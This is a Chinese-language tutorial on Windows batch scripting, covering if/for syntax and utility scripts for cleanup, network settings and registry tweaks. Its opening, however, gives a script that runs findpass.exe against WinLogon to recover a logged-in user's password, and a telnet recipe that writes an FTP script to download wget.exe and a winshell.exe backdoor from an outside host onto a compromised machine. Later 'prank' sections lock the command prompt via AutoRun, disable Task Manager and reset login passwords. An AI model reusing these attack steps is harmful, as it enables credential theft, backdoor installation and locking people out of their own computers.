@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
@echo "Example: fpass.bat%1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat%COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.batend [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________
還有一個就是已經通過telnet登陸了一個遠程主機。怎樣上傳文件(win)
依次在窗口輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w
___________________________________________________________

語句結構


類似於C語言,批處理也有它的語句結構。批處理的語句結構主要有選擇結構(if語句)、循環結構(for語句)等。
if語句
if語句實現條件判斷,包括字元串比較、存在判斷、定義判斷等。通過條件判斷,if語句即可以實現選擇功能。
1、字元串比較
if語句僅能夠對兩個字元(串)是否相同、先後順序進行判斷等。其命令格式為:
IF [not] string1 compare-op string2 command1 [else command2]
其中,比較操作符compare-op有以下幾類:
== - 等於
EQU - 等於
NEQ - 不等於
LSS - 小於
LEQ - 小於或等於
GTR - 大於
GEQ - 大於或等於
選擇開關/i則不區分字元串大小寫;選擇not項,則對判斷結果進行邏輯非。
字元串比較示例:
@echo off
set str1=abcd1233
set str2=ABCD1234
if %str1%==%str2% (echo 字元串相同!) else (echo 字元串不相同!)
if /i %str1% LSS %str2% (echo str1^=str2)
echo.
set /p choice=是否顯示當前時間?(y/n)
if /i not %choice% EQU n echo 當前時間是:%date% %time%
pause>nul
對於最後一個if判斷,當我們輸入n或N時的效果是一樣的,都不會顯示時間。如果我們取消開關/i,則輸入N時,依舊會顯示時間。
另外請注意一下幾個細節:1-echo str1^=str2;2-echo.。
2、存在判斷
存在判斷的功能是判斷文件或文件夾是否存在。其命令格式為:IF [NOT] EXIST filename command1 [else command2]
@echo off
if exist %0 echo 文件%0是存在的!
if not exist %~df0 (
echo 文件夾%~df0不存在!
) else echo 文件夾%~df0存在!
pause>nul
這裡注意幾個地方:
1-存在判斷既可以判斷文件也可以判斷文件夾;
2-%0即代表該批處理的全稱(包括驅動器盤符、路徑、文件名和擴展類型);
3-%~df0是對%0的修正,只保留了其驅動器盤符和路徑,詳情請參考for /?,屬高級批處理範疇;
4-注意if語句的多行書寫,多行書寫要求command1的左括弧必須和if在同一行、else必須和command1的右括弧同行、command2的左括弧必須與else同行、command1和command2都可以有任意多行,即command可以是命令集。
3、定義判斷
定義判斷的功能是判斷變數是否存在,即是否已被定義。其命令格式為:
IF [not] DEFINED variable command1 [else command2]
存在判斷舉例:
@echo off
set var=111
if defined var (echo var=%var%) else echo var尚未定義!
set var=
if defined var (echo var=%var%) else echo var尚未定義!
pause>nul
對比可知,"set var="可以取消變數,收回變數所佔據的內存空間。
for語句
for語句可以實現類似於C語言裡面的循環結構,當然for語句的功能要更強大一點,通過不同的開關可以實現更多的功能。for語句有多個開關,不同開關將會實現不同的功能。
1、無開關
無開關的for語句能夠對設定的範圍內進行循環,是最基本的for循環語句。其命令格式為:
FOR %%variable IN (set) DO command
其中,%%variable是批處理程序裡面的書寫格式,在DOS中書寫為%variable,即只有一個百分號(%);set就是需要我們設定的循環範圍,類似於C語言裡面的循環變數;do後面的command就是循環所執行的命令,即循環體。
無開關for語句舉例:
@echo off
for %%i in (a,"b c",d) do echo %%i
pause>nul
2、開關/L
含開關/L的for語句,可以根據set裡面的設置進行循環,從而實現對循環次數的直接控制。其命令格式為:
FOR /L %%variable IN (start,step,end) DO command
其中,start為開始計數的初始值,step為每次遞增的值,end為結束值。當end小於start時,step需要設置為負數。
含開關/L的for語句舉例(創建5個文件夾):
@echo off
for /l %%i in (1,2,10) do md %%i
pause
上例將新建5個文件夾,文件夾名稱依次為1、3、5、7、9。可以發現,%%i的結束值並非end的值10,而是不大於end的一個數。
3、開關/F
含開關/F的for語句具有最強大的功能,它能夠對字元串進行操作,也能夠對命令的返回值進行操作,還可以訪問硬碟上的ASCII碼文件,比如txt文檔等。其命令格式為:
FOR /F ["options"] %%variable IN (set) DO command
其中,set為("string"、'command'、file-set)中的一個;options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一個或多個的組合。各選項的意義參見for /f。一般情況下,使用較多的是skip、tokens、delims三個選項。
含開關/F的for語句舉例:
@echo off
echo **No Options:
for /f %%a in ("1,2,10") do echo a=%%a
echo **Options tokens ^& delims:
for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c
pause
@echo off
echo 本文件夾裡面的文件有:
for /f "skip=5 tokens=3* " %%a in ('dir') do (
if not "%%a"=="" if not "%%b"=="位元組" if not "%%b"=="可用位元組" echo %%b
)
pause>nul
@echo off
echo 本文件夾裡面的文件有:
dir>c:\file.txt
for /f "skip=5 tokens=3* " %%a in (c:\file.txt) do (
if not "%%a"=="" if not "%%b"=="位元組" if not "%%b"=="可用位元組" echo %%b
)
del c:\file.txt
pause
符號字元串中的最後一個字元星號,那麼額外的變數將在最後一個符號解析之後分配並接受行的保留文本。本例中也可以改為4,不過文件名中有空格的文件,只能顯示空格以前部分。
同時我們也看到了,for語句的do後面的command也是可以分行的,只需要保證command的左括弧和do在同一行就可以了。
4、開關/D或/R
含開關/D或/R的for語句是與目錄或文件有關的命令,一般情況下很少使用。含開關/R的命令有時候被用於通過遍歷文件夾來查找某一個文件或文件夾,故而列舉此例。
含開關/R的for語句舉例(文件夾遍歷):
@echo off
setlocal enabledelayedexpansion
FOR /R d: %%i IN (.) DO (
set dd=%%i
set "dd=!dd:~0,-1!"
echo !dd!
)
pause
exit
上例即可以羅列出D盤下的所有文件夾,其速度要比命令"tree d:"慢多了,不過其返回結果的實用性則遠遠超過了tree命令。
一般情況下我們不推薦通過遍歷文件夾來查找文件,特別是在查找某些程序(比如QQ.exe)的位置時。推薦通過reg命令查找註冊表來查找QQ的路徑,以保證查找效率。
上例中也出現了幾個新面孔,如setlocal、感嘆號等。其中,感嘆號其實就是變數百分號(%)的強化版。之所以要用!而不用%,是因為在for循環中,當一個變數被多次賦值時,%dd%所獲取的僅僅是dd第一次被賦予的值;要想刷新dd的值,就必須首先通過命令"setlocal enabledelayedexpansion"來開啟延遲變數開關,然後用!dd!來獲取dd的值。
for語句是批處理裡面功能最強大、使用最普遍卻又最難掌握的一套命令,這也是批處理菜鳥和批處理高手最明顯的一個分水嶺,一旦掌握了這套命令,那麼你就離批處理達人不遠了!

代碼示例


好了,先來幾個實用的。
清理垃圾
命令代碼如下:
@echo off
echo 正在清除系統垃圾文件,請稍等......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清除系統垃圾文件完成!
pause
網路設置
@echo off
::判斷本地連接賦值a
for /f "tokens=3,4 delims== " %%i in ('ipconfig ^|findstr /r "本"') do echo %%i %%j >DNS.txt
for /f "tokens=1 delims==:" %%d in (DNS.txt) do set a=%%d
echo 請根據實際情況更改下面三行
set slection1=
set/p slection1=請輸入IP地址:
netsh interface ip set address name="%a%" source=static addr=%slection1% mask=255.255.255.0
set slection2=
set/p slection2=請輸入網關地址:
netsh interface ip set address name="%a%" gateway=%slection2% gwmetric=0
set slection3=
set/p slection3=請輸入主dns地址
netsh interface ip set dns name="%a%" source=static addr=%slection3% register=PRIMARY
set slection4=
set/p slection4=請輸入備份dns地址
netsh interface ip add dns name="%a%" addr=%slection4%
netsh interface ip set wins name="%a%" source=static addr=none
del DNS.txt
exit 改完IP后可用這個完成本機ARP的綁定:
@echo off
if exist ipconfig.txt del ipconfig.txt
ipconfig /all >ipconfig.txt
if exist phyaddr.txt del phyaddr.txt
find "Physical Address" ipconfig.txt >phyaddr.txt
for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M
if exist IPAddr.txt del IPaddr.txt
find "IP Address" ipconfig.txt >IPAddr.txt
for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I
arp -s %IP% %Mac%
del ipaddr.txt
del ipconfig.txt
del phyaddr.txt
exit
同時修改IP和MAC地址的小代碼及製作步驟,用於帶著本本到處跑又要改IP的場合!
1:生成 IP配置文件。
修改你的IP地址配置為某一個配置,例如配置1。修改好:IP,MASK,DNS,GATE等(主要是IP相關的,不需要修改MAC地址)。
然後輸入:
netsh -c interface dump> c:\net1.txt
這裡net1.txt就是你生成的IP配置文件了!可以改為其它的文件名,比如:實驗室,寢室!
依次生成所有的網路配置的配置文件,我假設一共生成兩個網路配置分別為net1.txt和net2.txt
2:下載軟體SMAC為修改MAC地址的小軟體僅8K,我已經上傳了。
3:在C盤根目錄下建立一個目錄,把剛才下載的smac.exe,生成的所有的網路配置文件net1.txt,net2.txt等,等一下要建立的兩個批處理文件(bat)也都放要放到這裡。我假設為這個目錄是:C:\cmd
4:建立一個批處理文件,假設為:ToNet1.bat(可以使用記事本編輯,不過注意保存的時候要加上用加上引號的文件名才能保存為ToNet1.bat,否則就是ToNet1.bat.txt)
輸入如下代碼:
smac -modifymac 0 0050BA44D27A
netsh -f net1.txt
net1.txt就是你要設置的某一個網路的配置,0050BA44D27A這個要替換為對應這一個網路配置的MAC地址。另外0050BA44D27A前面的0不可以省略,這個表示網卡(你不會有兩個或者多個網卡吧?如果你有,請注意自己先試一下看是哪一個網卡了:在這個smac程序的readme中有list功能,你可以判斷一下)。
同樣的方法,建立ToNet2.bat,當然修改網路配置文件為net2.txt和mac地址的屬性了。
把這兩個bat文件也放到c:\cmd目錄中。
5:然後你可以建立這兩個bat文件的快捷方式,雙擊一下自動更換了!
不過請注意,修改MAC地址可能需要重新啟動一下網卡比較好(禁用再啟用)
關機
shutdown -s -t 0
運行這個后,立刻關機
想要重啟,就把-s改為-r
鎖定註冊表
reg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
ystem" /v DisableRegistryTools /t reg_dword /d 00000001 /f
解鎖註冊表
reg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
ystem" /v DisableRegistryTools /t reg_dword /d 00000000 /f
start regedit
顯示隱藏文件
reg add
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v
Hidden /t reg_dword /d 1 /f
reg add
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v
HideFileExt /t reg_dword /d 0 /f
reg add
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v
ShowSuperHidden /t reg_dword /d 1 /f
鎖定任務管理器
REG ADD
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy
stem /V DisableTaskMgr /t REG_DWORD /d 00000001 /f
解鎖任務管理器
REG ADD
stem /V DisableTaskMgr /t REG_DWORD /d 00000000 /f
解釋:這五個都是通過改註冊表做到的。
接下來搞幾個用密碼的。
帶密碼的批處理
@echo off
mode con cols=30 lines=4
set b=5
:pwd
title Password
set /a a=%a%+1
set /a b=%b%-1
set /p pwd=Enter Password:
if /I "%pwd%"=="Password" goto main
if /I "%a%"=="5" goto err
echo Error %a% times! You have %b% times left now.
goto pwd
:err
color 40
mode con cols=30 lines=2
title Error!
cls
echo.
echo Error 5 times, it will exit!
ping 127.1 -n 6 >nul
exit
:main
mode con cols=30 lines=3
echo Password right!
pause
cls
goto program
:program
mode con cols=64 lines=16
:: Your program here. ::
解釋:把第九行的Password改成密碼。
鎖定命令提示符
@echo off
echo.
echo 正在建立用於鎖住命令行窗口的lockcmd.bat批處理文件,請稍侯......
echo.
echo. >lockcmd.bat
echo @echo off >lockcmd.bat
echo echo. >>lockcmd.bat
echo setlocal >>lockcmd.bat
echo set /a times=3 >>lockcmd.bat
echo :checkpassword >>lockcmd.bat
echo set /p password=請輸入密碼: >>lockcmd.bat
echo set /a times=times-1 >>lockcmd.bat
echo if "%%password%%"=="密碼" goto continue >>lockcmd.bat
echo if "%%times%%"=="0" goto exit >>lockcmd.bat
echo echo 輸入的密碼不正確,請重新輸入,還有%%times%%次機會!
>>lockcmd.bat
echo goto checkpassword >>lockcmd.bat
echo :exit >>lockcmd.bat
echo echo. >>lockcmd.bat
echo echo 你無權進入命令行狀態! >>lockcmd.bat
echo exit >>lockcmd.bat
echo :continue >>lockcmd.bat
echo cls >>lockcmd.bat
echo title 歡迎你回到命令行窗口工作!!! >>lockcmd.bat
echo cd /d c:\ >>lockcmd.bat
echo endlocal >>lockcmd.bat
copy lockcmd.bat %windir%
echo 正在設置註冊表,從而讓命令行窗口一打開便進入鎖定狀態......
echo Windows Registry Editor Version 5.00 >temp.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
>>temp.reg
echo "AutoRun"="lockcmd.bat" >>temp.reg
echo 成功鎖住命令行,只有輸入正確的密碼才可使用!
regedit /s temp.reg
del /q /f temp.reg >nul
del /q /f lockcmd.bat >nul
pause>nul
解釋:這兩個把“密碼”改成你要輸的密碼就行了。
嗯,接下來是幾個整人的。
2H1Q聲明:使用這些代碼造成的後果(比如別人找你麻煩)自負。
首先是個嚇唬人的。
--------為維護網路安全以下代碼已刪除-------
修改電腦登錄密碼
注意,這個要慎用!!!!!
@echo off
set /p t=請輸入您要修改的密碼:
net user 計算機名 %t%
echo 修改成功!
在計算機名處寫電腦登錄時的賬號
比如:net user administrator %t%
嗯,代碼就列舉到這裡,大家可以自己編一些哦。

其它


批處理開發工具
目前網路上流傳有很多,筆者只推薦兩個
1.iBAT
截至到2014.8.9這個工具仍在更新中,第一印象-簡潔!
2.BatProject+DebugBatch
這其實是兩個工具,不過它們的開發者是同一個人,這兩個工具給我的第一印象-強悍!是用來調試錯誤的上上之選,不過因為它太強大了,尤其是DebugBatch採取了注入到進程當中的方法來調試,可以中途修改變數,暫停執行等,所以殺軟會報毒.
第三方
DebugBatch
DebugBatch
純批處理不是萬能的,而系統內置第三方遠遠滿足不了我們的需要(如果你會debug就當我沒說吧),因此我們需要各種第三方來使我們的批處理變得更強大,在批處理之家有一個第三方收集帖,裡面收集了許多第三方,如果有朋友需要的話可以去那裡淘一淘,接下來我介紹幾個第三方
Tmos.exe-用滑鼠操作命令行
Image.exe-顯示圖片到命令行
CAPI-批處理調用系統API,強大得不能再強大了